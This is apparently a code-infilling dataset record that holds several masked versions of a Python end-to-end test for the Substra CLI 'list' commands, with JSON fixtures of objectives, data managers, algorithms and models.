code
stringlengths 13
6.09M
| order_type
stringclasses 2
values | original_example
dict | step_ids
listlengths 1
5
|
---|---|---|---|
<|reserved_special_token_0|>
class TestList(TestCase):
<|reserved_special_token_0|>
<|reserved_special_token_0|>
def test_list_objective(self):
output = popen(['substra', 'list', 'objective',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == objective)
def test_list_data_manager(self):
output = popen(['substra', 'list', 'data_manager',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == data_manager)
def test_list_data(self):
output = popen(['substra', 'list', 'data_sample',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == data)
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class TestList(TestCase):
<|reserved_special_token_0|>
def tearDown(self):
try:
os.remove('/tmp/.substra_e2e')
except:
pass
def test_list_objective(self):
output = popen(['substra', 'list', 'objective',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == objective)
def test_list_data_manager(self):
output = popen(['substra', 'list', 'data_manager',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == data_manager)
def test_list_data(self):
output = popen(['substra', 'list', 'data_sample',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == data)
def test_list_algo(self):
output = popen(['substra', 'list', 'algo',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == algo)
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class TestList(TestCase):
def setUp(self):
Config({'<url>': 'http://owkin.substrabac:8000', '<version>': '0.0',
'<user>': os.environ.get('BACK_AUTH_USER', ''), '<password>':
os.environ.get('BACK_AUTH_PASSWORD', ''), '--config':
'/tmp/.substra_e2e'}).run()
def tearDown(self):
try:
os.remove('/tmp/.substra_e2e')
except:
pass
def test_list_objective(self):
output = popen(['substra', 'list', 'objective',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == objective)
def test_list_data_manager(self):
output = popen(['substra', 'list', 'data_manager',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == data_manager)
def test_list_data(self):
output = popen(['substra', 'list', 'data_sample',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == data)
def test_list_algo(self):
output = popen(['substra', 'list', 'algo',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == algo)
<|reserved_special_token_0|>
def test_list_traintuple(self):
output = popen(['substra', 'list', 'traintuple',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == traintuple)
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class TestList(TestCase):
def setUp(self):
Config({'<url>': 'http://owkin.substrabac:8000', '<version>': '0.0',
'<user>': os.environ.get('BACK_AUTH_USER', ''), '<password>':
os.environ.get('BACK_AUTH_PASSWORD', ''), '--config':
'/tmp/.substra_e2e'}).run()
def tearDown(self):
try:
os.remove('/tmp/.substra_e2e')
except:
pass
def test_list_objective(self):
output = popen(['substra', 'list', 'objective',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == objective)
def test_list_data_manager(self):
output = popen(['substra', 'list', 'data_manager',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == data_manager)
def test_list_data(self):
output = popen(['substra', 'list', 'data_sample',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == data)
def test_list_algo(self):
output = popen(['substra', 'list', 'algo',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == algo)
def test_list_model(self):
output = popen(['substra', 'list', 'model',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == model)
def test_list_traintuple(self):
output = popen(['substra', 'list', 'traintuple',
'--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == traintuple)
<|reserved_special_token_1|>
import json
import os
from subprocess import PIPE, Popen as popen
from unittest import TestCase
from substra.commands import Config
objective = [[{
'descriptionStorageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/description/',
'key': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',
'metrics': {'hash': '750f622262854341bd44f55c1018949e9c119606ef5068bd7d137040a482a756',
'name': 'macro-average recall',
'storageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/metrics/'},
'name': 'Skin Lesion Classification Challenge',
'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',
'testDataKeys': ['e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1']}, {
'descriptionStorageAddress': 'http://owkin.substrabac:8000/objective/6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c/description/',
'key': '6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c',
'metrics': {'hash': '0bc732c26bafdc41321c2bffd35b6835aa35f7371a4eb02994642c2c3a688f60',
'name': 'macro-average recall',
'storageAddress': 'http://owkin.substrabac:8000/objective/6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c/metrics/'},
'name': 'Simplified skin lesion classification',
'owner': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55', 'permissions': 'all',
'testDataKeys': ['2d0f943aa81a9cb3fe84b162559ce6aff068ccb04e0cb284733b8f9d7e06517e',
'533ee6e7b9d8b247e7e853b24547f57e6ef351852bac0418f13a0666173448f1']}]]
data_manager = [[{'objectiveKeys': [],
'description': {'hash': '7a90514f88c70002608a9868681dd1589ea598e78d00a8cd7783c3ea0f9ceb09',
'storageAddress': 'http://chunantes.substrabac:8001/data_manager/ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994/description/'},
'key': 'ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994', 'name': 'ISIC 2018',
'nbData': 2,
'openerStorageAddress': 'http://chunantes.substrabac:8001/data_manager/ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994/opener/',
'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',
'size': 553113, 'type': 'Images'}, {
'objectiveKeys': ['6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c',
'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f'],
'description': {'hash': '258bef187a166b3fef5cb86e68c8f7e154c283a148cd5bc344fec7e698821ad3',
'storageAddress': 'http://owkin.substrabac:8000/data_manager/b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0/description/'},
'key': 'b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0',
'name': 'Simplified ISIC 2018', 'nbData': 6,
'openerStorageAddress': 'http://owkin.substrabac:8000/data_manager/b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0/opener/',
'owner': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55', 'permissions': 'all',
'size': 1415097, 'type': 'Images'}]]
data = [{'pkhash': 'e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1', 'validated': True,
'file': 'http://owkin.substrabac:8000/media/data/e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1/0024900.zip'},
{'pkhash': '4b5152871b181d10ee774c10458c064c70710f4ba35938f10c0b7aa51f7dc010', 'validated': True,
'file': 'http://owkin.substrabac:8000/media/data/4b5152871b181d10ee774c10458c064c70710f4ba35938f10c0b7aa51f7dc010/0024701.zip'},
{'pkhash': '93e4b1e040b08cfa8a68b13f9dddb95a6672e8a377378545b2b1254691cfc060', 'validated': True,
'file': 'http://owkin.substrabac:8000/media/data/93e4b1e040b08cfa8a68b13f9dddb95a6672e8a377378545b2b1254691cfc060/0024317.zip'},
{'pkhash': 'eed4c6ea09babe7ca6428377fff6e54102ef5cdb0cae593732ddbe3f224217cb', 'validated': True,
'file': 'http://owkin.substrabac:8000/media/data/eed4c6ea09babe7ca6428377fff6e54102ef5cdb0cae593732ddbe3f224217cb/0024316.zip'},
{'pkhash': '2d0f943aa81a9cb3fe84b162559ce6aff068ccb04e0cb284733b8f9d7e06517e', 'validated': True,
'file': 'http://owkin.substrabac:8000/media/data/2d0f943aa81a9cb3fe84b162559ce6aff068ccb04e0cb284733b8f9d7e06517e/0024315.zip'},
{'pkhash': '533ee6e7b9d8b247e7e853b24547f57e6ef351852bac0418f13a0666173448f1', 'validated': True,
'file': 'http://owkin.substrabac:8000/media/data/533ee6e7b9d8b247e7e853b24547f57e6ef351852bac0418f13a0666173448f1/0024318.zip'}]
algo = [[{'objectiveKey': '6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c',
'description': {'hash': '3b1281cbdd6ebfec650d0a9f932a64e45a27262848065d7cecf11fd7191b4b1f',
'storageAddress': 'http://chunantes.substrabac:8001/algo/7742aea2001ceb40e9ce8a37fa27237d5b2d1f574e06d48677af945cfdf42ec0/description/'},
'key': '7742aea2001ceb40e9ce8a37fa27237d5b2d1f574e06d48677af945cfdf42ec0',
'name': 'Logistic regression for balanced problem',
'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',
'storageAddress': 'http://chunantes.substrabac:8001/algo/7742aea2001ceb40e9ce8a37fa27237d5b2d1f574e06d48677af945cfdf42ec0/file/'},
{'objectiveKey': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',
'description': {'hash': 'b9463411a01ea00869bdffce6e59a5c100a4e635c0a9386266cad3c77eb28e9e',
'storageAddress': 'http://chunantes.substrabac:8001/algo/0acc5180e09b6a6ac250f4e3c172e2893f617aa1c22ef1f379019d20fe44142f/description/'},
'key': '0acc5180e09b6a6ac250f4e3c172e2893f617aa1c22ef1f379019d20fe44142f', 'name': 'Neural Network',
'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',
'storageAddress': 'http://chunantes.substrabac:8001/algo/0acc5180e09b6a6ac250f4e3c172e2893f617aa1c22ef1f379019d20fe44142f/file/'},
{'objectiveKey': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',
'description': {'hash': '124a0425b746d7072282d167b53cb6aab3a31bf1946dae89135c15b0126ebec3',
'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/description/'},
'key': '6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f', 'name': 'Logistic regression',
'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',
'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/file/'},
{'objectiveKey': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',
'description': {'hash': '4acea40c4b51996c88ef279c5c9aa41ab77b97d38c5ca167e978a98b2e402675',
'storageAddress': 'http://chunantes.substrabac:8001/algo/f2d9fd38e25cd975c49f3ce7e6739846585e89635a86689b5db42ab2c0c57284/description/'},
'key': 'f2d9fd38e25cd975c49f3ce7e6739846585e89635a86689b5db42ab2c0c57284', 'name': 'Random Forest',
'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',
'storageAddress': 'http://chunantes.substrabac:8001/algo/f2d9fd38e25cd975c49f3ce7e6739846585e89635a86689b5db42ab2c0c57284/file/'}]]
model = [[{'algo': {'hash': '6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f',
'name': 'Logistic regression',
'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/file/'},
'objective': {'hash': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',
'metrics': {'hash': '750f622262854341bd44f55c1018949e9c119606ef5068bd7d137040a482a756',
'storageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/metrics/'}},
'creator': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f',
'endModel': {'hash': 'fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb',
'storageAddress': 'http://chunantes.substrabac:8001/model/fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb/file/'},
'key': '3e1a9e122765b2976f393322ab9d1c59fb113b35e2531900e06c9ae0f41e8afb',
'log': 'Train - CPU:100.23 % - Mem:0.14 GB - GPU:0.00 % - GPU Mem:0.00 GB; Test - CPU:0.00 % - Mem:0.00 GB - GPU:0.00 % - GPU Mem:0.00 GB; ',
'permissions': 'all', 'startModel': None, 'status': 'done',
'testData': {'keys': ['e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1'],
'openerHash': 'b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0', 'perf': 1,
'worker': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55'}, 'trainData': {
'keys': ['62fb3263208d62c7235a046ee1d80e25512fe782254b730a9e566276b8c0ef3a',
'42303efa663015e729159833a12ffb510ff92a6e386b8152f90f6fb14ddc94c9'],
'openerHash': 'ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994', 'perf': 1,
'worker': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f'}}]]
traintuple = [{'algo': {'hash': '6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f',
'name': 'Logistic regression',
'storageAddress': 'http://chunantes.substrabac:8001/algo/6dcbfcf29146acd19c6a2997b2e81d0cd4e88072eea9c90bbac33f0e8573993f/file/'},
'objective': {'hash': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',
'metrics': {'hash': '750f622262854341bd44f55c1018949e9c119606ef5068bd7d137040a482a756',
'storageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/metrics/'}},
'creator': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f',
'endModel': {'hash': 'fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb',
'storageAddress': 'http://chunantes.substrabac:8001/model/fe900588d43263c0ce1709116fe07c68d299acbbb6cfb241b0e8795bc8a1fbcb/file/'},
'key': '3e1a9e122765b2976f393322ab9d1c59fb113b35e2531900e06c9ae0f41e8afb',
'log': 'Train - CPU:100.23 % - Mem:0.14 GB - GPU:0.00 % - GPU Mem:0.00 GB; Test - CPU:0.00 % - Mem:0.00 GB - GPU:0.00 % - GPU Mem:0.00 GB; ',
'permissions': 'all', 'startModel': None, 'status': 'done',
'testData': {'keys': ['e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1'],
'openerHash': 'b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0', 'perf': 1,
'worker': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55'},
'trainData': {'keys': ['62fb3263208d62c7235a046ee1d80e25512fe782254b730a9e566276b8c0ef3a',
'42303efa663015e729159833a12ffb510ff92a6e386b8152f90f6fb14ddc94c9'],
'openerHash': 'ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994',
'perf': 1, 'worker': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f'}}]
# Run this test only after an e2e multi orgs
class TestList(TestCase):
def setUp(self):
Config({
'<url>': 'http://owkin.substrabac:8000',
'<version>': '0.0',
'<user>': os.environ.get('BACK_AUTH_USER', ''),
'<password>': os.environ.get('BACK_AUTH_PASSWORD', ''),
'--config': '/tmp/.substra_e2e'
}).run()
def tearDown(self):
try:
os.remove('/tmp/.substra_e2e')
except:
pass
def test_list_objective(self):
output = popen(['substra', 'list', 'objective', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == objective)
def test_list_data_manager(self):
output = popen(['substra', 'list', 'data_manager', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == data_manager)
def test_list_data(self):
output = popen(['substra', 'list', 'data_sample', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == data)
def test_list_algo(self):
output = popen(['substra', 'list', 'algo', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == algo)
def test_list_model(self):
output = popen(['substra', 'list', 'model', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == model)
def test_list_traintuple(self):
output = popen(['substra', 'list', 'traintuple', '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]
res = output.decode('utf-8')
self.assertTrue(json.loads(res) == traintuple)
|
flexible
|
{
"blob_id": "c55b768466309d2e655c9222e0674a6bc2a958b3",
"index": 9899,
"step-1": "<mask token>\n\n\nclass TestList(TestCase):\n <mask token>\n <mask token>\n\n def test_list_objective(self):\n output = popen(['substra', 'list', 'objective',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == objective)\n\n def test_list_data_manager(self):\n output = popen(['substra', 'list', 'data_manager',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data_manager)\n\n def test_list_data(self):\n output = popen(['substra', 'list', 'data_sample',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data)\n <mask token>\n <mask token>\n <mask token>\n",
"step-2": "<mask token>\n\n\nclass TestList(TestCase):\n <mask token>\n\n def tearDown(self):\n try:\n os.remove('/tmp/.substra_e2e')\n except:\n pass\n\n def test_list_objective(self):\n output = popen(['substra', 'list', 'objective',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == objective)\n\n def test_list_data_manager(self):\n output = popen(['substra', 'list', 'data_manager',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data_manager)\n\n def test_list_data(self):\n output = popen(['substra', 'list', 'data_sample',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data)\n\n def test_list_algo(self):\n output = popen(['substra', 'list', 'algo',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == algo)\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass TestList(TestCase):\n\n def setUp(self):\n Config({'<url>': 'http://owkin.substrabac:8000', '<version>': '0.0',\n '<user>': os.environ.get('BACK_AUTH_USER', ''), '<password>':\n os.environ.get('BACK_AUTH_PASSWORD', ''), '--config':\n '/tmp/.substra_e2e'}).run()\n\n def tearDown(self):\n try:\n os.remove('/tmp/.substra_e2e')\n except:\n pass\n\n def test_list_objective(self):\n output = popen(['substra', 'list', 'objective',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == objective)\n\n def test_list_data_manager(self):\n output = popen(['substra', 'list', 'data_manager',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data_manager)\n\n def test_list_data(self):\n output = popen(['substra', 'list', 'data_sample',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data)\n\n def test_list_algo(self):\n output = popen(['substra', 'list', 'algo',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == algo)\n <mask token>\n\n def test_list_traintuple(self):\n output = popen(['substra', 'list', 'traintuple',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == traintuple)\n",
"step-4": "<mask token>\n\n\nclass TestList(TestCase):\n\n def setUp(self):\n Config({'<url>': 'http://owkin.substrabac:8000', '<version>': '0.0',\n '<user>': os.environ.get('BACK_AUTH_USER', ''), '<password>':\n os.environ.get('BACK_AUTH_PASSWORD', ''), '--config':\n '/tmp/.substra_e2e'}).run()\n\n def tearDown(self):\n try:\n os.remove('/tmp/.substra_e2e')\n except:\n pass\n\n def test_list_objective(self):\n output = popen(['substra', 'list', 'objective',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == objective)\n\n def test_list_data_manager(self):\n output = popen(['substra', 'list', 'data_manager',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data_manager)\n\n def test_list_data(self):\n output = popen(['substra', 'list', 'data_sample',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == data)\n\n def test_list_algo(self):\n output = popen(['substra', 'list', 'algo',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == algo)\n\n def test_list_model(self):\n output = popen(['substra', 'list', 'model',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == model)\n\n def test_list_traintuple(self):\n output = popen(['substra', 'list', 'traintuple',\n '--config=/tmp/.substra_e2e'], stdout=PIPE).communicate()[0]\n res = output.decode('utf-8')\n self.assertTrue(json.loads(res) == traintuple)\n",
"step-5": "import json\nimport os\nfrom subprocess import PIPE, Popen as popen\nfrom unittest import TestCase\n\nfrom substra.commands import Config\n\nobjective = [[{\n 'descriptionStorageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/description/',\n 'key': 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f',\n 'metrics': {'hash': '750f622262854341bd44f55c1018949e9c119606ef5068bd7d137040a482a756',\n 'name': 'macro-average recall',\n 'storageAddress': 'http://chunantes.substrabac:8001/objective/d5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f/metrics/'},\n 'name': 'Skin Lesion Classification Challenge',\n 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',\n 'testDataKeys': ['e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1']}, {\n 'descriptionStorageAddress': 'http://owkin.substrabac:8000/objective/6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c/description/',\n 'key': '6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c',\n 'metrics': {'hash': '0bc732c26bafdc41321c2bffd35b6835aa35f7371a4eb02994642c2c3a688f60',\n 'name': 'macro-average recall',\n 'storageAddress': 'http://owkin.substrabac:8000/objective/6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c/metrics/'},\n 'name': 'Simplified skin lesion classification',\n 'owner': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55', 'permissions': 'all',\n 'testDataKeys': ['2d0f943aa81a9cb3fe84b162559ce6aff068ccb04e0cb284733b8f9d7e06517e',\n '533ee6e7b9d8b247e7e853b24547f57e6ef351852bac0418f13a0666173448f1']}]]\n\ndata_manager = [[{'objectiveKeys': [],\n 'description': {'hash': '7a90514f88c70002608a9868681dd1589ea598e78d00a8cd7783c3ea0f9ceb09',\n 'storageAddress': 'http://chunantes.substrabac:8001/data_manager/ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994/description/'},\n 'key': 'ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994', 'name': 'ISIC 2018',\n 'nbData': 2,\n 'openerStorageAddress': 'http://chunantes.substrabac:8001/data_manager/ccbaa3372bc74bce39ce3b138f558b3a7558958ef2f244576e18ed75b0cea994/opener/',\n 'owner': '91df1c847f714ae3ac9d83ef000c583a2c5e63719bdfe23958ca47a8ffe9a82f', 'permissions': 'all',\n 'size': 553113, 'type': 'Images'}, {\n 'objectiveKeys': ['6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c',\n 'd5002e1cd50bd5de5341df8a7b7d11b6437154b3b08f531c9b8f93889855c66f'],\n 'description': {'hash': '258bef187a166b3fef5cb86e68c8f7e154c283a148cd5bc344fec7e698821ad3',\n 'storageAddress': 'http://owkin.substrabac:8000/data_manager/b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0/description/'},\n 'key': 'b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0',\n 'name': 'Simplified ISIC 2018', 'nbData': 6,\n 'openerStorageAddress': 'http://owkin.substrabac:8000/data_manager/b4d2deeb9a59944d608e612abc8595c49186fa24075c4eb6f5e6050e4f9affa0/opener/',\n 'owner': 'ca77d9070da2732f3dc1fcdb9397cfcf2fad2dcdde4e355dfe34658ad8b9ce55', 'permissions': 'all',\n 'size': 1415097, 'type': 'Images'}]]\n\ndata = [{'pkhash': 'e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1', 'validated': True,\n 'file': 'http://owkin.substrabac:8000/media/data/e11aeec290749e4c50c91305e10463eced8dbf3808971ec0c6ea0e36cb7ab3e1/0024900.zip'},\n {'pkhash': '4b5152871b181d10ee774c10458c064c70710f4ba35938f10c0b7aa51f7dc010', 'validated': True,\n 'file': 'http://owkin.substrabac:8000/media/data/4b5152871b181d10ee774c10458c064c70710f4ba35938f10c0b7aa51f7dc010/0024701.zip'},\n {'pkhash': '93e4b1e040b08cfa8a68b13f9dddb95a6672e8a377378545b2b1254691cfc060', 'validated': True,\n 'file': 'http://owkin.substrabac:8000/media/data/93e4b1e040b08cfa8a68b13f9dddb95a6672e8a377378545b2b1254691cfc060/0024317.zip'},\n {'pkhash': 'eed4c6ea09babe7ca6428377fff6e54102ef5cdb0cae593732ddbe3f224217cb', 'validated': True,\n 'file': 'http://owkin.substrabac:8000/media/data/eed4c6ea09babe7ca6428377fff6e54102ef5cdb0cae593732ddbe3f224217cb/0024316.zip'},\n {'pkhash': '2d0f943aa81a9cb3fe84b162559ce6aff068ccb04e0cb284733b8f9d7e06517e', 'validated': True,\n 'file': 'http://owkin.substrabac:8000/media/data/2d0f943aa81a9cb3fe84b162559ce6aff068ccb04e0cb284733b8f9d7e06517e/0024315.zip'},\n {'pkhash': '533ee6e7b9d8b247e7e853b24547f57e6ef351852bac0418f13a0666173448f1', 'validated': True,\n 'file': 'http://owkin.substrabac:8000/media/data/533ee6e7b9d8b247e7e853b24547f57e6ef351852bac0418f13a0666173448f1/0024318.zip'}]\n\nalgo = [[{'objectiveKey': '6b8d16ac3eae240743428591943fa8e66b34d4a7e0f4eb8e560485c7617c222c',\n 'description': {'hash': 